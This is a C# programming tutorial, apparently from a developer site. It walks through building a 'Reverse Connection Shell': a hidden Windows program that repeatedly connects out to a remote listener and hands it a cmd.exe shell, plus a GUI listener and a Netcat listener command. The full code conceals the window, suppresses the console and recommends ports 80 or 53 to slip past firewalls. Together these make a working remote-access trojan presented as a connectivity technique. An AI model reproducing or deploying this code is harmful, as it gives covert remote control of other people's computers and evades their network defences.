Reverse Connection Shell






4.95/5 (18 votes)
How to access a server behind a gateway firewall using the reverse connection shell technique.
Objective
In a client-server architecture, it is usually the server which waits for connections from the client. This works well, provided the server is reachable. But what if the server is residing behind a firewall? Or, behind a DSL router modem? In such a case, you would not be able to connect to the server, unless of course the firewall (or router) is configured to portmap all packets to your server. The problem is as shown in Fig. A below:
Server---Firewall (or DSL router)--- Internet--- Client
A solution to this problem is to have the server reach out and connect to the client. In such a case, the client will listen on a port, say, port 6666, and the server will then attempt to connect every 5 seconds or, some other regular interval. If the client is not up, the server waits 5 seconds and then tries again. If a client is up, it will then establish a connection and gives a shell to the client. The client will then be able to send commands, and they will execute on the server side. This technology is called Reverse Connection Shell, or, sometimes Reverse Connection RAT. There is, however, an assumption that the client will have a static IP address.
For the client to listen for a connection, we will need to have a client program in addition to the server program. As usual, the server program will run silently on the server PC behind the firewall (or DSL router modem), and the client program will be any PC on the Internet, or, LAN. The client program can be Netcat, in which case you start Netcat in listening mode as follows:
C:\nc -lvp 6666
Alternatively, we can write our own client program. Both methods will be discussed in this article. We will first write our server program and use Netcat as the client, then, we will write our own client program. And, we shall make it a GUI-based client.
Building a Reverse Connection Server
Start a new Windows Application. Set the form's Opacity
property to 0. And also, insert a Form_shown
event handler. The code is shown below:
//
// Reverse Portbinding Shell Server - by Paul Chin
// Aug 26, 2007
//
using System;
using System.Collections.Generic;
using System.ComponentModel;
using System.Data;
using System.Drawing;
using System.Text;
using System.Windows.Forms;
using System.Net.Sockets;
using System.IO; //for Streams
using System.Diagnostics; //for Process
namespace ReverseRat
{
public partial class Form1 : Form
{
TcpClient tcpClient;
NetworkStream networkStream;
StreamWriter streamWriter;
StreamReader streamReader;
Process processCmd;
StringBuilder strInput;
public Form1()
{
InitializeComponent();
}
private void Form1_Shown(object sender, EventArgs e)
{
this.Hide();
for(;;)
{
RunServer();
System.Threading.Thread.Sleep(5000); //Wait 5 seconds
} //then try again
}
private void RunServer()
{
tcpClient = new TcpClient();
strInput = new StringBuilder();
if(!tcpClient.Connected)
{
try
{
tcpClient.Connect("127.0.0.1", 6666);
//put your preferred IP here
networkStream = tcpClient.GetStream();
streamReader = new StreamReader(networkStream);
streamWriter = new StreamWriter(networkStream);
}
catch (Exception err) { return; } //if no Client don't
//continue
processCmd = new Process();
processCmd.StartInfo.FileName = "cmd.exe";
processCmd.StartInfo.CreateNoWindow = true;
processCmd.StartInfo.UseShellExecute = false;
processCmd.StartInfo.RedirectStandardOutput = true;
processCmd.StartInfo.RedirectStandardInput = true;
processCmd.StartInfo.RedirectStandardError = true;
processCmd.OutputDataReceived += new
DataReceivedEventHandler(CmdOutputDataHandler);
processCmd.Start();
processCmd.BeginOutputReadLine();
}
while (true)
{
try
{
strInput.Append(streamReader.ReadLine());
strInput.Append("\n");
if(strInput.ToString().LastIndexOf(
"terminate") >= 0) StopServer();
if(strInput.ToString().LastIndexOf(
"exit") >= 0) throw new ArgumentException();
processCmd.StandardInput.WriteLine(strInput);
strInput.Remove(0, strInput.Length);
}
catch (Exception err)
{
Cleanup();
break;
}
}
}
private void Cleanup()
{
try { processCmd.Kill(); } catch (Exception err) { };
streamReader.Close();
streamWriter.Close();
networkStream.Close();
}
private void StopServer()
{
Cleanup();
System.Environment.Exit(System.Environment.ExitCode);
}
private void CmdOutputDataHandler(object sendingProcess,
DataReceivedEventArgs outLine)
{
StringBuilder strOutput = new StringBuilder();
if(!String.IsNullOrEmpty(outLine.Data))
{
try
{
strOutput.Append(outLine.Data);
streamWriter.WriteLine(strOutput);
streamWriter.Flush();
}
catch (Exception err) { }
}
}
}//end class Form
}
Explanation
We will now look at how the program works. It is basically the same as the Direct Connection type server discussed in my previous Portbinding Shell article, except that this server initiates the connection instead of listens for connections.
We hide the form using the this.Hide()
method. The form will flash briefly when run, that is why we need to set the form's Opacity
property to 0, as mentioned above:
private void Form1_Shown(object sender, EventArgs e)
{
this.Hide();
for (;;)
{
RunServer();
System.Threading.Thread.Sleep(5000); //Wait 5 seconds
} //then try again
}
The program uses a for(;;)
perpetual loop to call the RunServer()
method. This design ensures that the server is able to initiate re-connections whenever the client is not listening or the client which is connected suddenly loses connection. However, before each re-connection, it will wait 5000 milliseconds (5 seconds). You can, of course, change this value. It would, however, be more sensible to put in a larger duration instead of a shorter one.
Next, we take a look at the RunServer()
method.
If the the server is not yet connected to the client, then we try to connect. Here, we use the loopback address 127.0.0.1 and port 6666. You can, of course, change to another static IP address, e.g., an intranet IP (e.g., 192.168.0.2) or a public IP (e.g., 219.95.12.13), if you are trying this on the Internet and have a static IP address. You can also change the port to 80 (web) or 53 (DNS) if your firewall blocks other ports:
if (!tcpClient.Connected)
{
try
{
tcpClient.Connect("127.0.0.1", 6666);
networkStream = tcpClient.GetStream();
streamReader = new StreamReader(networkStream);
streamWriter = new StreamWriter(networkStream);
}
catch (Exception err) { return; } //if no Client don't continue
}
Notice that if the client is not connected, it will throw an exception. The catch
-block will catch the exception and return. Control then passes back to the for(;;)
loop, which then waits 5000 milliseconds before calling RunServer()
again.
On the other hand, if the server successfully connects to a client, the program will go on to create the cmd.exe process:
processCmd = new Process();
processCmd.StartInfo.FileName = "cmd.exe";
processCmd.StartInfo.CreateNoWindow = true;
processCmd.StartInfo.UseShellExecute = false;
processCmd.StartInfo.RedirectStandardOutput = true;
processCmd.StartInfo.RedirectStandardInput = true;
processCmd.StartInfo.RedirectStandardError = true;
processCmd.OutputDataReceived += new
DataReceivedEventHandler(CmdOutputDataHandler);
processCmd.Start();
processCmd.BeginOutputReadLine();
Take note that CreateNoWindow
is set to true
so that a DOS window will not pop-up when the program runs. Also, the StandardIn
, StandardOut
, and StandardError
streams are all redirected. What this means is that, the keyboard is no longer the StandardIn
stream and the monitor is no longer the StandardOutput
and StandardError
stream. Also, once the streams have been redirected, three pipes are created for the cmd.exe process as shown in in Part 2 of the article. The figure is reproduced here again for clarity, re-labeled as Fig. C:
Read
| |
| | [StandardOut]
| |
Read ---- cmd.exe---- Write
| | Write
| | [StandardIn] | |
| | | | [StandardError]
Write | |
Read
Once we have these pipes, it is trivial for any other process to read from or write to them. Hence the name Inter Process Communication (IPC). Network streams can read from or write to them as well. This is what makes it possible for shells to talk to remote PCs through network sockets.
The next line brings us to the main loop of the server, the perpetual while
-loop. Unless there is an exception, the program control will perpetually try to read from the network stream, which was created when the server connected to the client. The streamReader.Readline()
method reads the data (commands) sent by the client. If the command is "terminate", the program will call the StopServer()
method to kill the server. The streams and sockets are closed and the server program exits. On the other hand, if the client sends the "exit" command, the program will deliberately throw an ArgumentException()
so that the catch
-block will Cleanup()
the streams, sockets, and break out of the while
loop to return control to the for(;;)
loop in the Form_Shown
event handler. On the other hand, if the client sends commands other than "terminate" or "exit", the program flow will proceed to inject the command into the StandardIn
pipe of the cmd.exe process by using the processCmd.Standard.WriteLine()
method:
while (true)
{
try
{
strInput.Append(streamReader.ReadLine());
strInput.Append("\n");
if(strInput.ToString().LastIndexOf("terminate") >= 0)StopServer();
if(strInput.ToString().LastIndexOf(
"exit") >= 0) throw new ArgumentException();
processCmd.StandardInput.WriteLine(strInput);
strInput.Remove(0, strInput.Length);
}
catch (Exception err)
{
Cleanup();
break;
}
}
The Cleanup()
method cleans up everything by first closing the cmd.exe process, closing the reading and writing streams, and finally closing the network stream:
private void Cleanup()
{
try { processCmd.Kill(); } catch (Exception err) { };
streamReader.Close();
streamWriter.Close();
networkStream.Close();
}
The StopServer()
method calls the Cleanup()
method and then exits the program itself. This means the server quits:
private void StopServer()
{
Cleanup();
System.Environment.Exit(System.Environment.ExitCode);
}
The CmdOutputDataHandler
handles the StandardOut
and StandardError
output streams:
private void CmdOutputDataHandler(object sendingProcess,
DataReceivedEventArgs outLine)
{
StringBuilder strOutput = new StringBuilder();
if(!String.IsNullOrEmpty(outLine.Data))
{
try
{
strOutput.Append(outLine.Data);
streamWriter.WriteLine(strOutput);
streamWriter.Flush();
}
catch (Exception err) { }
}
}
This data handler was assigned earlier when we created the cmd.exe process. It was assigned using this line:
processCmd.OutputDataReceived +=
new DataReceivedEventHandler(CmdOutputDataHandler);
Whenever the cmd.exe process executes a command, it will spit out its responses into the StandardOut
or StandardError
pipes. This will raise the event called OutputDataReceived
, which will go on to trigger the CmdOutputDataHandler
discussed above.
To summarize: to write to the StandardIn pipe, use the processCmd.StandardInput.WriteLine()
method. To read from the StandardOut/StandardError pipes, use CmdOutputDataHandler()
.
If you use 127.0.0.1 as the address to connect to, it will connect to itself. You need to start a listening client. As mentioned above, you can use Netcat:
nc -lvp 6666
The l option means listen, v means verbose, and p means port 6666.
Once the client is connected, you will see something like what is shown in Fig. D below:
Once you get a shell as shown above, you can type any command and it will execute on the server. For example, if you type the command "dir", the command will be executed by the server.
Of course, all the above is done using only one PC acting both as the server and the client. That is why we use the loopback address 127.0.0.1. If you have access to two PCs, e.g., one PC called S is 192.168.0.1 and another PC called C is 192.168.0.2, and both are connected to the same LAN, you could start the server program on S, then start Netcat on C, and within 5 seconds (5000 milliseconds), the server on S will connect to the client on C and give a shell to C. The program also works on the Internet. However, you will need to use a public IP address instead of the intranet range used in our discussion. Another option for experimentation is to install Windows XP or Vista OS in a Virtual PC. For this, you will need to download and install Microsoft Virtual PC. You could then assign, say, 192.168.0.2, to the Virtual PC while the host PC is assigned 192.168.0.1. The server is run on either the host or Virtual PC and the client on the other. For a thorough test, run your server behind a firewall, set the server to connect to port 80 (HTTP) or 53 (DNS). Then, run your listening client (Netcat, or the new GUI-based client we will be writing below) on another PC outside the firewall. Your server should traverse the firewall (or DSL router modem) with ease.
Creating Our Own Client Listener Program
If you do not like to use Netcat, we could write our own client. As already explained above, our client will listen for connections on a local port, e.g., 127.0.0.1, port 6666, and when the server successfully connects, it will display the shell in a GUI-based (Graphical User Interface) interface. See Fig. E below.
You can then type the command in the textbox below. In Fig. E above, the command 'dir' is typed. After typing the command, press <Enter> and the command will be sent to the server to execute. After execution, the server will return the output to our GUI client.
To build our client listener, start a new Windows Application. Insert textBox1
and make it multiline, and also enable a vertical scrollbar. Set the background color property to black and the font color to lime (green). However, if you prefer, you could leave it with its default white background and black font color. The messages sent by the server will be displayed in textBox1
as shown in Fig. E above. Insert another TextBox
and call it textBox2
. Place it at the bottom just below the large textBox1
. However, do not make it multiline. You can dock textBox1
to the top and textBox2
to the center. The commands that you wish to send to the server will be typed in textBox2
. In Fig. E above, the 'dir' command is typed into textBox2
. I assume you are already familiar with Windows form design and as such will not go into too much details here. Finally, insert a StatusStrip
and call it statusStrip1
. Of course, you would want to place it at the bottom of the form. You can dock it to the bottom. Having done that, you will need to insert a toolStripStatusLabel
. This label will display the status of the connections. In Fig. E above, the status strip displays the message "Connection from 127.0.0.1". To insert a toolStripStatusLabel
, click on the drop down list of the StatusStrip
and select StatusLabel
. Immediately, a label will be created for you called toolStripStatusLabel1
. See Fig. F below on how this is done.
Then, insert a Form1_Shown
event handler and a textBox2_KeyDown
event handler. To insert a Form1_Shown
event handler, first select the Form, then use the Properties Explorer on the bottom right of the Visual C# 2005 Express IDE. See Fig. G below.
You will need to click on the lightning icon in order to activate the Event List. Then, scroll down to the Shown
event and double-click on the right empty space. A Form1_Shown
event handler will be inserted and you will also see a Form1_Shown
event handler:
private void Form1_Shown(object sender, EventArgs e)
{
//Enter your code here
}
To insert a textBox2_KeyDown
event handler, repeat the steps above, but this time, select the textBox2
object on the form first. You will also need to insert a Form1_FormClosing
event handler. Again, use the same technique above.
Now, type in the following code as shown below:
//
//Reverse Connection Client Listener by Paul Chin
//August 28, 2007
//
using System;
using System.Collections.Generic;
using System.ComponentModel;
using System.Data;
using System.Drawing;
using System.Text;
using System.Windows.Forms;
using System.Net.Sockets;
using System.IO; //for Streams
using System.Threading; //to run commands concurrently
using System.Net; //for IPEndPoint
namespace ReverseRatClient
{
public partial class Form1 : Form
{
TcpListener tcpListener;
Socket socketForServer;
NetworkStream networkStream;
StreamWriter streamWriter;
StreamReader streamReader;
StringBuilder strInput;
Thread th_StartListen,th_RunClient;
public Form1()
{
InitializeComponent();
}
private void Form1_Shown(object sender, EventArgs e)
{
th_StartListen = new Thread(new ThreadStart(StartListen));
th_StartListen.Start();
textBox2.Focus();
}
private void StartListen()
{
tcpListener = new TcpListener(System.Net.IPAddress.Any, 6666);
tcpListener.Start();
toolStripStatusLabel1.Text = "Listening on port 6666 ...";
for (;;)
{
socketForServer = tcpListener.AcceptSocket();
IPEndPoint ipend = (IPEndPoint)socketForServer.RemoteEndPoint;
toolStripStatusLabel1.Text = "Connection from " +
IPAddress.Parse(ipend.Address.ToString());
th_RunClient = new Thread(new ThreadStart(RunClient));
th_RunClient.Start();
}
}
private void RunClient()
{
networkStream = new NetworkStream(socketForServer);
streamReader = new StreamReader(networkStream);
streamWriter = new StreamWriter(networkStream);
strInput = new StringBuilder();
while (true)
{
try
{
strInput.Append(streamReader.ReadLine());
strInput.Append("\r\n");
}
catch (Exception err)
{
Cleanup();
break;
}
Application.DoEvents();
DisplayMessage(strInput.ToString());
strInput.Remove(0, strInput.Length);
}
}
private void Cleanup()
{
try
{
streamReader.Close();
streamWriter.Close();
networkStream.Close();
socketForServer.Close();
}
catch (Exception err) { }
toolStripStatusLabel1.Text = "Connection Lost";
}
private delegate void DisplayDelegate(string message);
private void DisplayMessage(string message)
{
if (textBox1.InvokeRequired)
{
Invoke(new DisplayDelegate(
DisplayMessage),new object[] { message });
}
else
{
textBox1.AppendText(message);
}
}
private void textBox2_KeyDown(object sender, KeyEventArgs e)
{
try
{
if(e.KeyCode == Keys.Enter)
{
strInput.Append(textBox2.Text.ToString());
streamWriter.WriteLine(strInput);
streamWriter.Flush();
strInput.Remove(0, strInput.Length);
if(textBox2.Text == "exit") Cleanup();
if(textBox2.Text == "terminate") Cleanup();
if(textBox2.Text == "cls") textBox1.Text = "";
textBox2.Text = "";
}
}
catch (Exception err) { }
}
private void Form1_FormClosing(object sender, FormClosingEventArgs e)
{
Cleanup();
System.Environment.Exit(System.Environment.ExitCode);
}
}
}
Explanation of the Client Listener Program
Remember that this is a Windows Application. It will present a Graphical User Interface as shown in Fig. E above.
In addition to the default libraries, you will need to add these:
using System.Net.Sockets;
using System.IO; //for Streams
using System.Threading; //to run commands concurrently
using System.Net; //for IPEndPoint
The Sockets
namespace is to enable networking. IO
is for enabling the sockets to transmit and receive streams. Threading
is for running the StartListen
and RunClient
methods in separate threads so that the form will not block. And, Net
is for storing the address retrieved from the socket remote endpoint, i.e., the address of the server which is connecting to our client.
We will need the following objects:
TcpListener tcpListener;
Socket socketForServer;
NetworkStream networkStream;
StreamWriter streamWriter;
StreamReader streamReader;
StringBuilder strInput;
Thread th_StartListen,th_RunClient;
Although we are not a server, we need a TcpListener
because we need to listen for the server's connection. Remember, we are a reverse connection system. Socket
is the endpoint which will be created when a server successfully connects to the client. NetworkStream
must be created from the Socket
for the StreamWriter
and StreamReader
to write to the socket and also to read from the socket. StringBuilder
's strInput
is to store the command that the client will be sending to the server. And finally, th_StartListen
and th_RunClient
are to hold the StartListen
and RunClient
methods that will be run in their own threads concurrently with the Form application. As mentioned before, this is necessary because we don't want the Form to block, i.e., stop and wait for the StartListen
and RunClient
methods to complete.
Next, we add code in the Form1_Shown
event handler:
private void Form1_Shown(object sender, EventArgs e)
{
th_StartListen = new Thread(new ThreadStart(StartListen));
th_StartListen.Start();
textBox2.Focus();
}
We want the StartListen
method to run in a separate thread. The reason for this was discussed earlier, i.e., we don't want the Form to block and wait for the StartListen
method to return. We also wish the textBox2
to have the focus so that the user can immediately type in commands into textBox2
once a connection is established. We will now analyze the StartListen
method:
private void StartListen()
{
tcpListener = new TcpListener(System.Net.IPAddress.Any, 6666);
tcpListener.Start();
toolStripStatusLabel1.Text = "Listening on port 6666 ...";
for (;;)
{
socketForServer = tcpListener.AcceptSocket();
IPEndPoint ipend = (IPEndPoint)socketForServer.RemoteEndPoint;
toolStripStatusLabel1.Text = "Connection from " +
IPAddress.Parse(ipend.Address.ToString());
th_RunClient = new Thread(new ThreadStart(RunClient));
th_RunClient.Start();
}
}
The StartListen
method will first create a listening port to listen on port 6666. This port will bind on all interfaces, e.g., loopback interface (127.0.0.1), intranet interface (e.g., 192.168.0.1), and internet interface (e.g., 219.95.12.13). The toolStripStatusLabel
will be updated to inform the user that the client listener is now "Listening on port 6666...". The program will then enter a for
-loop. The first line of code will block (i.e., stop and wait) for connections.
Note that the blocking will not affect the form, which will still be responsive. You can still drag and move the form and also resize etc. This is because the StartListen
method runs in its own thread which is separate from the thread of the Form application. If a server successfully connects, a socket called socketForServer
will be created to handle the communication with the server. The program will next extract the IP address of the server, and the toolStripStatusLabel
will inform the user that there is a "Connection from ... [IP Address]":
IPEndPoint ipend = (IPEndPoint)socketForServer.RemoteEndPoint;
toolStripStatusLabel1.Text="Connection from " +
IPAddress.Parse(ipend.Address.ToString());
The program then creates a separate thread to handle the new socket by creating a thread to execute the RunClient
method:
th_RunClient = new Thread(new ThreadStart(RunClient));
th_RunClient.Start();
We will now analyze the RunClient
method. Within this method, a network stream is created and subsequently used to create a stream reader and a stream writer so that the client can read and can also write to the socket:
networkStream = new NetworkStream(socketForServer);
streamReader = new StreamReader(networkStream);
streamWriter = new StreamWriter(networkStream);
The strInput StringBuilder
is for storing the data sent by the server and is also used to store commands to be sent to the server:
strInput = new StringBuilder();
We now enter the while
-loop, which happens to be a perpetual loop:
while (true)
{
try
{
strInput.Append(streamReader.ReadLine());
strInput.Append("\r\n");
}
catch (Exception err)
{
Cleanup();
break;
}
Application.DoEvents();
DisplayMessage(strInput.ToString());
strInput.Remove(0, strInput.Length);
}
The program flow will keep looping within this while
-loop, provided the server is connected to the client. Within each loop, it will read the data, if any, that the server sends. This reading task is performed in a try-catch
block. If the server suddenly disconnects, an exception will be thrown and caught by the catch
-block, which in turn calls the Cleanup()
method:
private void Cleanup()
{
try
{
streamReader.Close();
streamWriter.Close();
networkStream.Close();
socketForServer.Close();
}
catch (Exception err) { }
toolStripStatusLabel1.Text = "Connection Lost";
}
On the other hand, if the server does not suddenly disconnect, the program flow will continue to DisplayMessage()
which the server sends. But, in order to display the message in the object textBox1
, we need to use a delegate:
delegate void DisplayDelegate(string message);
A delegate helps us send messages between threads. It is like a middle man. Direct cross thread manipulations is not allowed. Note that textBox1
is an object within the Form application - which is a separate thread from the RunClient
method which runs in a different thread. DisplayDelegate
is used by the DisplayMessage
method as follows:
private void DisplayMessage(string message)
{
if (textBox1.InvokeRequired)
{
Invoke(new DisplayDelegate(DisplayMessage),new object[] { message });
}
else
{
textBox1.AppendText(message);
}
}
Diagrammatically, the whole process can be represented as in Fig. F below.
String String
DisplayMessage() -------- DisplayDelegate--------textBox1
In order to send commands to the server, we type our commands into the textBox2
object as mentioned earlier. Once a command is typed in, the user presses the Enter key. To catch the Enter key event, we use a textBox2_KeyDown
event handler:
private void textBox2_KeyDown(object sender, KeyEventArgs e)
{
try
{
if (e.KeyCode == Keys.Enter)
{
strInput.Append(textBox2.Text.ToString());
streamWriter.WriteLine(strInput);
streamWriter.Flush();
strInput.Remove(0, strInput.Length);
if(textBox2.Text == "exit") Cleanup();
if(textBox2.Text == "terminate") Cleanup();
if(textBox2.Text == "cls") textBox1.Text = "";
textBox2.Text = "";
}
}
catch (Exception err) { }
}
It is here that the commands are sent to the server using the streamWriter.WriteLine
method. Note that if the user enters the "exit" command, we want to Cleanup()
the streams and sockets for re-use. The server will still be alive, however. Only, the client is disconnected. Should the user enter the "exit" command, the client disconnects, and if the server is still alive, a new connection will be established within 5000 milliseconds (5 seconds). On the other hand, if the user sends the "terminate" command, the client will disconnect by calling the Cleanup()
method. However, this time, the "terminate" command will be executed by the server to exit itself. Note that once the server exits, the client will no longer be receiving new re-connections from the server.
Finally, in order to cleanly close all streams, sockets, and exit the application, when the user clicks on the "x" on the top right of the form, we insert a Form1_FormClosing
event handler:
private void Form1_FormClosing(object sender, FormClosingEventArgs e)
{
Cleanup();
System.Environment.Exit(System.Environment.ExitCode);
}
Summary
Run the server on one PC. Then, run the client on another PC. If you do not have access to two PCs, nor have Virtual PC installed, you can use the loopback address 127.0.0.1 to test. The client can be either Netcat or our GUI-based client which we created above. The server will then reach out and connect to the client and gives it a shell. The client can then send commands to the server to be executed on the server. This solves the problem of reaching servers residing behind gateway-firewalls.